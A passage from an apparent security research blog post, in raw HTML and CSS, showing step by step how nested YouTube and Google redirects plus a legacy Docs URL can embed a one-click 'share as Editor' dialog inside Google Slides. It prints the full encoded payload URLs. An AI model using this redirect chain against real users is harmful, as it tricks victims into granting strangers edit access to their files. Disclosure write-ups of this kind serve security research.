.shareDlg {&#xD;&#xA;        position: relative;&#xD;&#xA;        width: calc(min(512px, 90%) - 48px);&#xD;&#xA;        height: fit-content;&#xD;&#xA;        background: white;&#xD;&#xA;        border-radius: 8px;&#xD;&#xA;        margin: auto;&#xD;&#xA;        padding: 16px 24px;&#xD;&#xA;        font-size: 14px;&#xD;&#xA;        color: #1F1F1F;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgTitle {&#xD;&#xA;        font-size: 22px;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBanner {&#xD;&#xA;        background: #D3E3FD;&#xD;&#xA;        padding: 13px;&#xD;&#xA;        border-radius: 8px;&#xD;&#xA;        color: #0F264D;&#xD;&#xA;        display: flex;&#xD;&#xA;        align-items: center;&#xD;&#xA;        margin: 16px 0;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBanner span:first-child {&#xD;&#xA;        margin-left: auto;&#xD;&#xA;    }&#xD;&#xA;    /* Apologizes,  I was too lazy to make actual buttons here :P */&#xD;&#xA;    .shareDlgBanner span {&#xD;&#xA;        color: #0842A0;&#xD;&#xA;        font-weight: 501;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        padding-left: min(26px, max(12px, 5%));&#xD;&#xA;        user-select: none;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBanner span:hover {&#xD;&#xA;        color: #1E64D4;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBanner span:active {&#xD;&#xA;        color: #3574D8;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBbox {&#xD;&#xA;        border: 1px solid #747775;&#xD;&#xA;        border-radius: 4px;&#xD;&#xA;        outline: 2px solid #0000;&#xD;&#xA;        outline-offset: -2px;&#xD;&#xA;        transition: outline 0.2s;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgTbox {&#xD;&#xA;        display: block;&#xD;&#xA;        height: calc(48px - 32px);&#xD;&#xA;        width: calc(100% - 2px - 32px);&#xD;&#xA;        padding: 16px;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBbox:focus {&#xD;&#xA;        outline: 2px solid #0B57D0;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBbox:active {&#xD;&#xA;        outline: 2px solid #0B57D0;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgSubtitle {&#xD;&#xA;        font-size: 16px;&#xD;&#xA;        margin: 16px 0 0;&#xD;&#xA;        font-weight: 501;&#xD;&#xA;    }&#xD;&#xA;    .helpIcon {&#xD;&#xA;        width: 12px;&#xD;&#xA;        height: 12px;&#xD;&#xA;        color: #444746;&#xD;&#xA;        border: 2px solid #444746;&#xD;&#xA;        border-radius: 13px;&#xD;&#xA;        font-weight: bold;&#xD;&#xA;        font-size: 13px;&#xD;&#xA;        line-height: 13px;&#xD;&#xA;        text-align: center;&#xD;&#xA;        margin: auto;&#xD;&#xA;        user-select: none;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBtn {&#xD;&#xA;        display: flex;&#xD;&#xA;        font-weight: 501;&#xD;&#xA;        user-select: none;&#xD;&#xA;        font-size: 14px;&#xD;&#xA;        height: 38px;&#xD;&#xA;        padding: 0 24px;&#xD;&#xA;        align-items: center;&#xD;&#xA;        border-radius: 40px;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        transition: background 0.15s, box-shadow 0.15s;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBtnWhite {&#xD;&#xA;        border: 1px solid #747775;&#xD;&#xA;        background: #FFF;&#xD;&#xA;        color: #0B57D0;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBtnWhite:hover {&#xD;&#xA;        background: #ECF2FC;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBtnWhite:active {&#xD;&#xA;        background: #D5E1F7;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBtnBlue {&#xD;&#xA;        border: 1px solid #0B57D0;&#xD;&#xA;        background: #0B57D0;&#xD;&#xA;        color: #FFF;&#xD;&#xA;        box-shadow: 0px 1px 3px 1px #0000;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBtnBlue:hover {&#xD;&#xA;        background: #1E64D4;&#xD;&#xA;        box-shadow: 0px 1px 3px 1px #0003;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBtnBlue:active {&#xD;&#xA;        background: #3574D8;&#xD;&#xA;        box-shadow: 0px 1px 3px 1px #0000;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgCircle {&#xD;&#xA;        display: flex;&#xD;&#xA;        width: 32px;&#xD;&#xA;        height: 32px;&#xD;&#xA;        flex-shrink: 0;&#xD;&#xA;        background: #E3E3E3;&#xD;&#xA;        border-radius: 32px;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgEntry {&#xD;&#xA;        display: flex;&#xD;&#xA;        align-items: center;&#xD;&#xA;        padding: 8px 0;&#xD;&#xA;        height: 46px;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgEntryH:hover {&#xD;&#xA;        background: #EEE;&#xD;&#xA;        box-shadow: -24px 0 0 #EEE, 24px 0 0 #EEE;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgDrop {&#xD;&#xA;        width: fit-content;&#xD;&#xA;        padding: 2px 6px;&#xD;&#xA;        border-radius: 4px;&#xD;&#xA;        font-size: 14px;&#xD;&#xA;        font-weight: 501;&#xD;&#xA;        transition: background 0.1s;&#xD;&#xA;        user-select: none;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        display: flex;&#xD;&#xA;        align-items: center;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgDrop:hover {&#xD;&#xA;        background: #DFDFDF;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgDrop:active {&#xD;&#xA;        background: #CECECE;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBubble {&#xD;&#xA;        border: 1px solid #747775;&#xD;&#xA;        padding:4px 12px;&#xD;&#xA;        border-radius: 32px;&#xD;&#xA;        font-weight: 501;&#xD;&#xA;        background: #F8FAFD;&#xD;&#xA;        cursor: pointer;&#xD;&#xA;        display: flex;&#xD;&#xA;        align-items: center;&#xD;&#xA;        text-align: center;&#xD;&#xA;        transition: background 0.1s, border 0.1s;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBubble:hover {&#xD;&#xA;        background: #F0F3F6;&#xD;&#xA;    }&#xD;&#xA;    .shareDlgBubble:active {&#xD;&#xA;        background: #B1D3E8;&#xD;&#xA;        border: 1px solid #0B57D0;&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;In its current state, this page requires us to make two clicks to complete the attack - first a click on the &amp;ldquo;Review&amp;rdquo; label, and then a click on the &amp;ldquo;Share&amp;rdquo; button (try &lt;span class=&#34;fineText&#34;&gt;clicking&lt;/span&gt;&lt;span class=&#34;coarseText&#34;&gt;tapping&lt;/span&gt; &amp;ldquo;&lt;span style=&#34;color:#0842A0;font-weight:bold&#34;&gt;&lt;label style=&#34;cursor:pointer&#34; for=&#34;reviewDialog&#34;&gt;Review&lt;/label&gt;&lt;/span&gt;&amp;rdquo; above). That&amp;rsquo;s already quite good, but I still &lt;em&gt;really&lt;/em&gt; wanted to get the entire attack down to just one click.&lt;/p&gt;&#xA;&lt;p&gt;I pulled out my DevTools and began digging through the JavaScript of the page to see how the query parameters are handled. As a simple test, I started off with just the &lt;em&gt;userstoinvite&lt;/em&gt; query parameter.&lt;/p&gt;&#xA;&lt;div class=&#34;genericContainer&#34; role=&#34;figure&#34; aria-label=&#34;Browser window, Google Drive dialog&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;urlBar&#34;&gt;&lt;div class=&#34;urlBarInner&#34;&gt;&lt;div class=&#34;urlBarIcon&#34;&gt;&lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&lt;path d=&#34;M11.55 13.52a2.27 2.27 0 0 1 -1.68 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68a2.27 2.27 0 0 1 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.45c0.25 0 0.47 -0.09 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.27 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.26 0.64c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.4 0.27 0.65 0.27Zm-9.47 -0.1v-1.63H7.98v1.63Zm2.37 -4.75a2.27 2.27 0 0 1 -1.67 -0.69a2.29 2.29 0 0 1 -0.69 -1.68c0 -0.66 0.23 -1.22 0.7 -1.68a2.3 2.3 0 0 1 1.68 -0.69c0.66 0 1.22 0.23 1.68 0.69c0.46 0.46 0.69 1.02 0.69 1.68c0 0.66 -0.23 1.22 -0.69 1.68c-0.46 0.46 -1.02 0.69 -1.68 0.69Zm0 -1.46a0.88 0.88 0 0 0 0.65 -0.27a0.88 0.88 0 0 0 0.27 -0.64a0.89 0.89 0 0 0 -0.26 -0.65a0.88 0.88 0 0 0 -0.65 -0.27a0.88 0.88 0 0 0 -0.65 0.27a0.88 0.88 0 0 0 -0.27 0.65c0 0.25 0.09 0.47 0.27 0.65c0.18 0.18 0.39 0.27 0.65 0.27Zm3.57 -0.1V4.03h5.9v1.63Zm0 0Z&#34;/&gt;&lt;/svg&gt;&lt;/div&gt;&lt;span class=&#34;urlBarText&#34;&gt;&lt;span class=&#34;urlBarDomain&#34;&gt;docs.google.com&lt;/span&gt;/file/d/&lt;span class=&#34;over720&#34;&gt;1sHy3aQXsIlnOCj-mBFxQ0ZXm4TzjjfFL&lt;/span&gt;&lt;span class=&#34;under720&#34;&gt;...&lt;/span&gt;/edit?userstoinvite=lyra.horse@gmail.com&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div class=&#34;filePg defSelect&#34; style=&#34;height:512px&#34;&gt;&#xD;&#xA;        &lt;div class=&#34;filePgH&#34; aria-hidden=true&gt;&#xD;&#xA;            &lt;div class=&#34;filePgName&#34;&gt;&lt;span class=&#34;folderIcon&#34; style=&#34;margin: 0 11px&#34;&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/span&gt;Secret Folder&lt;/div&gt;&#xD;&#xA;            &lt;div class=&#34;filePgOpenW over640&#34;&gt;Open with&lt;/div&gt;&#xD;&#xA;            &lt;div style=&#34;height: 40px; display:flex; padding: 2px; gap: 8px;margin-left:auto;margin-right:2px&#34;&gt;&#xD;&#xA;                &lt;div class=&#34;iconButton over480&#34;&gt;&lt;div class=&#34;dotsIcon&#34;&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsHbtn sldsHbtnBlueDark over480&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;div style=&#34;display:flex&#34;&gt;&lt;div style=&#34;margin:auto&#34; class=&#34;sldsDrop&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsHbtn sldsHbtnBlueDark under480&#34;&gt;&lt;div&gt;Share&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                &lt;div class=&#34;sldsHpfp&#34; role=img aria-label=&#34;profile picture&#34;&gt;&lt;div&gt;L&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;filePgO&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;shareDlg&#34;&gt;&#xD;&#xA;                    &lt;a href=&#34;https://www.youtube.com/watch?v=6XFX8hL6YdI&#34; title=&#34;there&#39;s no one in moominvalley to help&#34;&gt;&lt;div class=&#34;over360 iconButton iconButtonLight&#34; style=&#34;position:absolute;right:6px;top:10px&#34;&gt;&lt;div class=&#34;helpIcon&#34;&gt;?&lt;/div&gt;&lt;/div&gt;&lt;/a&gt;&#xD;&#xA;                    &lt;div class=&#34;iconButton iconButtonLight&#34; style=&#34;position:absolute;left:16px;top:12px&#34;&gt;&lt;svg width=&#34;24&#34; height=&#34;24&#34; viewBox=&#34;0 0 24 24&#34; style=&#34;margin:auto&#34;&gt;&lt;path d=&#34;M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.41L7.83 13H20v-2z&#34;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;div class=&#34;shareDlgTitle&#34; style=&#34;margin-left: 42px&#34;&gt;Share &#34;Secret Folder&#34;&lt;/div&gt;&#xD;&#xA;                    &lt;div style=&#34;display:flex;margin-top:20px&#34;&gt;&lt;div class=&#34;shareDlgBbox&#34; style=&#34;padding:10px 18px;flex-grow:1;user-select:none;cursor:default;display:flex;align-items:center;margin-right:10px&#34;&gt;&lt;div class=&#34;shareDlgBubble&#34;&gt;&lt;div style=&#34;background:#7B1FA2;height:17px;width:17px;border-radius:17px;transform:translate(-4px,0);color:#FFF;line-height:17px;font-weight:400;font-size:12px&#34; class=&#34;over480&#34; role=img aria-label=&#34;profile picture&#34;&gt;L&lt;/div&gt;Lyra Rebane&lt;span style=&#34;margin-left:10px&#34; class=&#34;over360&#34;&gt;✖&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&#34;shareDlgBbox&#34; style=&#34;padding:14px 18px;width:fit-content;user-select:none;cursor:default;display:flex;align-items:center&#34;&gt;Editor&lt;div class=&#34;sldsDrop over360&#34; style=&#34;margin-left:12px&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;                    &lt;div style=&#34;display:flex;align-items:center;margin-top:16px;margin-bottom:14px&#34;&gt;&lt;input id=&#34;notifyChk2&#34; type=&#34;checkbox&#34; style=&#34;width:18px;height:18px;filter: brightness(0.8) contrast(1.5);margin:1px;margin-right:16px&#34; checked&gt;&lt;label for=&#34;notifyChk2&#34;&gt;Notify people&lt;/label&gt;&lt;/div&gt;&#xD;&#xA;                        &lt;textarea class=&#34;shareDlgTbox shareDlgBbox&#34; style=&#34;padding:8px 16px;font-size: 14px;height:96px;font-family:inherit;resize: none&#34; placeholder=&#34;Message&#34;&gt;&lt;/textarea&gt;&#xD;&#xA;                        &lt;div style=&#34;display:flex;margin: 28px 0 8px;justify-content: flex-end&#34;&gt;&lt;div class=&#34;shareDlgBtn shareDlgBtnWhite&#34;&gt;Cancel&lt;/div&gt;&lt;div class=&#34;shareDlgBtn shareDlgBtnBlue&#34; style=&#34;margin-left:8px&#34;&gt;Send&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;And wow!? I had accidentally stumbled upon the perfect share dialog URL. For some reason, leaving out all the other query parameters makes the share dialog just auto-fill the e-mail field from the query parameter, defaulting to giving out &lt;em&gt;Editor&lt;/em&gt; permissions.&lt;/p&gt;&#xA;&lt;p&gt;Pretty much all we need to do here is convince someone to do a single click on the ambiguously labeled &amp;ldquo;Send&amp;rdquo; button, and we&amp;rsquo;re set!&lt;/p&gt;&#xA;&lt;h2 id=&#34;part-6-re-re-redirects&#34;&gt;Part 6: Re-re-redirects&lt;/h2&gt;&#xA;&lt;p&gt;I began putting the attack together, combining all the cool tricks we&amp;rsquo;ve come up with so far.&lt;/p&gt;&#xA;&lt;ol style=&#34;word-break: break-all&#34;&gt;&#xD;&#xA;&lt;li&gt;We first take cool little docs invite url.&lt;br&gt;&#xD;&#xA;&lt;span class=&#34;urlBox&#34;&gt;https://docs.google.com/file/d/1sHy3aQXsIlnOCj-mBFxQ0ZXm4TzjjfFL/edit?userstoinvite=lyra.horse@gmail.com&lt;/span&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Then we put it inside the &lt;b&gt;accounts.youtube.com&lt;/b&gt; redirect.&lt;br&gt;&#xD;&#xA;&lt;span class=&#34;urlBox&#34;&gt;https://accounts.youtube.com/accounts/SetSID?continue=&lt;span style=&#34;color:#999; font-weight: normal; filter: blur(1px)&#34;&gt;https%3A%2F%2Fdocs.google.com%2Ffile%2Fd%2F1sHy3aQXsIlnOCj-mBFxQ0ZXm4TzjjfFL%2Fedit%3Fuserstoinvite%3Dlyra.horse%40gmail.com&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;Then we put &lt;i&gt;that&lt;/i&gt; into the &lt;b&gt;youtube.com/signin&lt;/b&gt; redirect.&lt;br&gt;&#xD;&#xA;&lt;span class=&#34;urlBox&#34;&gt;https://www.youtube.com/signin?next=&lt;span style=&#34;color:#999; font-weight: normal; filter: blur(1px)&#34;&gt;https%3A%2F%2Faccounts.youtube.com%2Faccounts%2FSetSID%3Fcontinue%3D&lt;span style=&#34;color:#666&#34;&gt;https%3A%2F%2Fdocs.google.com%252Ffile%252Fd%252F1sHy3aQXsIlnOCj-mBFxQ0ZXm4TzjjfFL%252Fedit%253Fuserstoinvite%253Dlyra.horse%2540gmail.com&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&#xD;&#xA;&lt;li&gt;And finally, we turn it into a path traversed &#34;videoid&#34; we can embed in our slides.&lt;br&gt;&#xD;&#xA;&lt;span class=&#34;urlBox&#34;&gt;../signin?next=https%3A%2F%2Faccounts.youtube.com%2Faccounts%2FSetSID%3Fcontinue%3Dhttps%3A%2F%2Fdocs.google.com%252Fa%252Fa%252Ffile%252Fd%252F1sHy3aQXsIlnOCj-mBFxQ0ZXm4TzjjfFL%252Fedit%253Fuserstoinvite%253Dlyra.horse%2540gmail.com&lt;/span&gt;&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;&lt;p&gt;And there we go! I threw it in my slides and&amp;hellip;&lt;/p&gt;&#xA;&lt;div class=&#34;genericContainer&#34; style=&#34;background:#F9FBFD&#34; role=&#34;figure&#34; aria-label=&#34;iframe within a slide&#34;&gt;&#xD;&#xA;    &lt;div class=&#34;sldsMain&#34; style=&#34;margin:20px 10px&#34;&gt;&#xD;&#xA;            &lt;div class=&#34;sldsSlide&#34; style=&#34;aspect-ratio:unset;height:fit-content;&#34;&gt;&#xD;&#xA;                &lt;div style=&#34;width:94%;height:90%;margin:12px auto;overflow:hidden;border: 2px inset #EEE;background:#0E0E0E&#34;&gt;&#xD;&#xA;&lt;div class=&#34;needAccess&#34;&gt;&#xD;&#xA;    &lt;div&gt;&#xD;&#xA;        &lt;div class=&#34;needAccessLogo&#34;&gt;&lt;span style=&#34;font-weight:501;filter: blur(0.4px)&#34;&gt;&lt;span style=&#34;color:#4285F4&#34;&gt;G&lt;/span&gt;&lt;span style=&#34;color:#EA4335&#34;&gt;o&lt;/span&gt;&lt;span style=&#34;color:#FBBC05&#34;&gt;o&lt;/span&gt;&lt;span style=&#34;color:#4285F4&#34;&gt;g&lt;/span&gt;&lt;span style=&#34;color:#34A853&#34;&gt;l&lt;/span&gt;&lt;span style=&#34;color:#EA4335&#34;&gt;e&lt;/span&gt;&lt;/span&gt; Drive&lt;/div&gt;&#xD;&#xA;        &lt;div style=&#34;font-size:32px;color:#202124;width: 100%;margin: 8px 0;&#34;&gt;You need access&lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;needAccessText&#34;&gt;&lt;a href=&#34;https://docs.google.com/presentation/d/10LlimFowOJ_noDrJsv4CnRgU8XoUKRAa6YjTeJFrs70/edit&#34;&gt;Open the document directly&lt;/a&gt; to see if requesting access is possible, or switch to an account with access. &lt;a href=&#34;https://www.youtube.com/watch?v=Hh9iFc5Sdso&#34;&gt;Learn more&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;        &lt;div class=&#34;needAccessSignedAs&#34;&gt;&#xD;&#xA;            You are signed in as&#xD;&#xA;            &lt;div style=&#34;display:flex&#34;&gt;&lt;div class=&#34;over360&#34; style=&#34;width:20px;height:20px;background:#4285F4;border-radius:100px;vertical-align: text-top&#34;&gt;&lt;div style=&#34;width:14px;height:14px;margin:3px;overflow:hidden;border-radius:10px&#34;&gt;&lt;div style=&#34;width:6px;height:5.5px;margin:2px auto 1.5px;background:#FFF;border-radius:10px&#34;&gt;&lt;/div&gt;&lt;div style=&#34;width:12px;height:14px;margin:auto;background:#FFF;border-radius:10px&#34;&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span style=&#34;margin: 0 7px&#34;&gt;lyra.horse@gmail.com&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;                &lt;/div&gt;&#xD;&#xA;            &lt;/div&gt;&#xD;&#xA;        &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;    .needAccess {&#xD;&#xA;        font-family: &#34;Google Sans&#34;, &#34;Open Sans&#34;, Roboto, sans-serif;&#xD;&#xA;        display: flex;&#xD;&#xA;        width: 100%;&#xD;&#xA;        min-height: 400px;&#xD;&#xA;        height: fit-content;&#xD;&#xA;        background: #FFF;&#xD;&#xA;        font-size: 14px;&#xD;&#xA;    }&#xD;&#xA;    .needAccess &gt; div {&#xD;&#xA;        display: flex;&#xD;&#xA;        flex-direction: column;&#xD;&#xA;        margin: auto;&#xD;&#xA;        padding: 50px 0;&#xD;&#xA;        align-items: center;&#xD;&#xA;        width: 90%;&#xD;&#xA;        max-width: 378px;&#xD;&#xA;    }&#xD;&#xA;    .needAccessLogo {&#xD;&#xA;        font-size: 32px;&#xD;&#xA;        font-family: &#34;Product Sans&#34;, Arial, Helvetica, sans-serif;&#xD;&#xA;        color: #0008;&#xD;&#xA;        width: 100%;&#xD;&#xA;        margin-bottom: 16px;&#xD;&#xA;    }&#xD;&#xA;    .needAccessSignedAs {&#xD;&#xA;        display: flex;&#xD;&#xA;        align-items: center;&#xD;&#xA;        flex-direction: column;&#xD;&#xA;        text-align: center;&#xD;&#xA;        width: fit-content;&#xD;&#xA;        font-size: 13px;&#xD;&#xA;        margin-top: 32px;&#xD;&#xA;    }&#xD;&#xA;    .needAccessSignedAs &gt; div {&#xD;&#xA;        font-weight: 501;&#xD;&#xA;        border: 1px solid #DADCE0;&#xD;&#xA;        width: fit-content;&#xD;&#xA;        font-size: 14px;&#xD;&#xA;        border-radius: 100px;&#xD;&#xA;        padding: 5px 7px;&#xD;&#xA;        margin-top: 9px;&#xD;&#xA;        color: #202124;&#xD;&#xA;    }&#xD;&#xA;    .needAccessText {&#xD;&#xA;        width: 100%;&#xD;&#xA;        color: #5F6368;&#xD;&#xA;        letter-spacing: 0.2px;&#xD;&#xA;        line-height: 20px;&#xD;&#xA;    }&#xD;&#xA;    .needAccessText a {&#xD;&#xA;        color: #1a73e8;&#xD;&#xA;    }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;&amp;hellip;it didn&amp;rsquo;t work, why?&lt;/p&gt;&#xA;&lt;p&gt;It seems like Docs has some sort of a mitigation in place that prevents me from using a cross-site redirect for the file page within an iframe. More precisely, it checks for the &lt;em&gt;Sec-Fetch-Dest&lt;/em&gt; and&lt;!-- fixed typo, thx old.reddit.com/r/netsec/comments/1flln55/_/lo5d7w1/ --&gt; &lt;em&gt;Sec-Fetch-Site&lt;/em&gt; headers, and if they&amp;rsquo;re both set to &lt;em&gt;iframe&lt;/em&gt; and &lt;em&gt;cross-site&lt;/em&gt; respectively, we get a 403 back. Pretty weird.&lt;/p&gt;&#xA;&lt;p&gt;I got the opportunity to chat with a couple security people from Google, so I asked about this behavior, and it seems like this is some sort of a mitigation to prevent cross-origin framing on the server-side. I&amp;rsquo;m still not entirely sure as to what threat scenario it&amp;rsquo;d be useful in, but the idea is that an iframe can tell whether it&amp;rsquo;s on a same-origin page or not from just the &lt;em&gt;Sec-Fetch-Site&lt;/em&gt; header. On a cross-origin page, the header will &lt;em&gt;always&lt;/em&gt; be set to &lt;em&gt;cross-site&lt;/em&gt;, even if the redirect within the iframe is same-origin.&lt;/p&gt;&#xA;&lt;p&gt;Of course, that could be detected more reliably on the client-side with JavaScript and whatnot, but the headers are the only way for a server to tell &lt;em&gt;before&lt;/em&gt; sending out a response. A side-effect of the server-side detection is that even though both our frames are same-origin, a cross-origin redirect within the iframe will still end up with the &lt;em&gt;cross-site&lt;/em&gt; header. To bypass &lt;em&gt;that&lt;/em&gt;, we need to perform a same-origin redirect inside of the iframe.&lt;/p&gt;&#xA;&lt;p&gt;To put it simply, we&amp;rsquo;re currently doing:&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;urlBox&#34; style=&#34;white-space:nowrap&#34;&gt;accounts.youtube.com&lt;/span&gt; &lt;span style=&#34;color:#F00;font-weight:bold&#34;&gt;(cross-site)&lt;/span&gt; → &lt;span class=&#34;urlBox&#34; style=&#34;white-space:nowrap&#34;&gt;docs.google.com/file/d/&amp;hellip;/edit&lt;/span&gt; &lt;span style=&#34;color:#F00;font-weight:bold&#34;&gt;(403)&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;so to bypass that, we want to chain a redirect like this:&lt;/p&gt;&#xA;&lt;p&gt;&lt;span class=&#34;urlBox&#34; style=&#34;white-space:nowrap&#34;&gt;accounts.youtube.com&lt;/span&gt; &lt;span style=&#34;color:#F00;font-weight:bold&#34;&gt;(cross-site)&lt;/span&gt; → &lt;span class=&#34;urlBox&#34; style=&#34;white-space:nowrap&#34;&gt;docs.google.com/???&lt;/span&gt; &lt;span style=&#34;color:green;font-weight:bold&#34;&gt;(same-origin)&lt;/span&gt; → &lt;span class=&#34;urlBox&#34; style=&#34;white-space:nowrap&#34;&gt;docs.google.com/file/d/&amp;hellip;/edit&lt;/span&gt; &lt;span style=&#34;color:green;font-weight:bold&#34;&gt;(200)&lt;/span&gt;&lt;/p&gt;&#xA;&lt;p&gt;and it should work! But we have to find something that&amp;rsquo;d work for that part in the middle. And lucky for us, I had already spotted something like that in my googling earlier.&lt;/p&gt;&#xA;&lt;p&gt;It seems like there&amp;rsquo;s an old legacy GSuite URL format of &lt;strong&gt;docs.google.com/a/&amp;lt;domain&amp;gt;/&amp;hellip;&lt;/strong&gt;, which probably did something useful years ago (edit: and still does&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt;), but these days just disappears when you open an URL. If you&amp;rsquo;re logged out, you must find some working donor URL to use, such as &lt;strong&gt;/a/wyo.gov/&lt;/strong&gt;&lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt;, but logged in you can even do &lt;strong&gt;/a/a/&lt;/strong&gt; and it&amp;rsquo;ll just work.&lt;/p&gt;&#xA;&lt;p&gt;Here are a couple of example URLs to try out.&lt;/p&gt;&#xA;&lt;p&gt;This one should work regardless of your login state:&lt;/p&gt;&#xA;&lt;div class=&#34;urlBox&#34; style=&#34;margin-top:-12px&#34;&gt;&lt;a href=&#34;https://docs.google.com/a/wyo.gov/file/d/10LlimFowOJ_noDrJsv4CnRgU8XoUKRAa6YjTeJFrs70/edit&#34;&gt;https://docs.google.com&lt;span style=&#34;color:#FFF&#34;&gt;/a/wyo.gov/&lt;/span&gt;file/d/10LlimFowOJ_noDrJsv4CnRgU8XoUKRAa6YjTeJFrs70/edit&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;And this one requires that you be logged into any Google account:&lt;/p&gt;&#xA;&lt;div class=&#34;urlBox&#34; style=&#34;margin-top:-12px&#34;&gt;&lt;a href=&#34;https://docs.google.com/a/a/file/d/10LlimFowOJ_noDrJsv4CnRgU8XoUKRAa6YjTeJFrs70/edit&#34;&gt;https://docs.google.com&lt;span style=&#34;color:#FFF&#34;&gt;/a/a/&lt;/span&gt;file/d/10LlimFowOJ_noDrJsv4CnRgU8XoUKRAa6YjTeJFrs70/edit&lt;/a&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;Both will end up redirecting to &lt;span class=&#34;urlBox&#34;&gt;&lt;a href=&#34;https://docs.google.com/file/d/10LlimFowOJ_noDrJsv4CnRgU8XoUKRAa6YjTeJFrs70/edit&#34;&gt;https://docs.google.com/file/d/10LlimFowOJ_noDrJsv4CnRgU8XoUKRAa6YjTeJFrs70/edit&lt;/a&gt;&lt;/span&gt;.&lt;/p&gt;&#xA;&lt;p&gt;With that figured out, let&amp;rsquo;s throw the &lt;strong&gt;/a/a/&lt;/strong&gt; thing into our &amp;ldquo;videoid&amp;rdquo; from earlier:&#xA;&lt;span class=&#34;urlBox&#34;&gt;../signin?next=https%3A%2F%2Faccounts.youtube.com%2Faccounts%2FSetSID%3Fcontinue%3Dhttps%3A%2F%2Fdocs.google.com%252Ffile%252Fd%252F1sHy3aQXsIlnOCj-mBFxQ0ZXm4TzjjfFL%252Fedit%253Fuserstoinvite%253Dlyra.horse%2540gmail.com&lt;/span&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;genericContainer&#34; style=&#34;background:#F9FBFD&#34; role=&#34;figure&#34; aria-label=&#34;iframe within a slide, Google Drive dialog&#34;&gt;&#xD;&#xA;    &lt;div 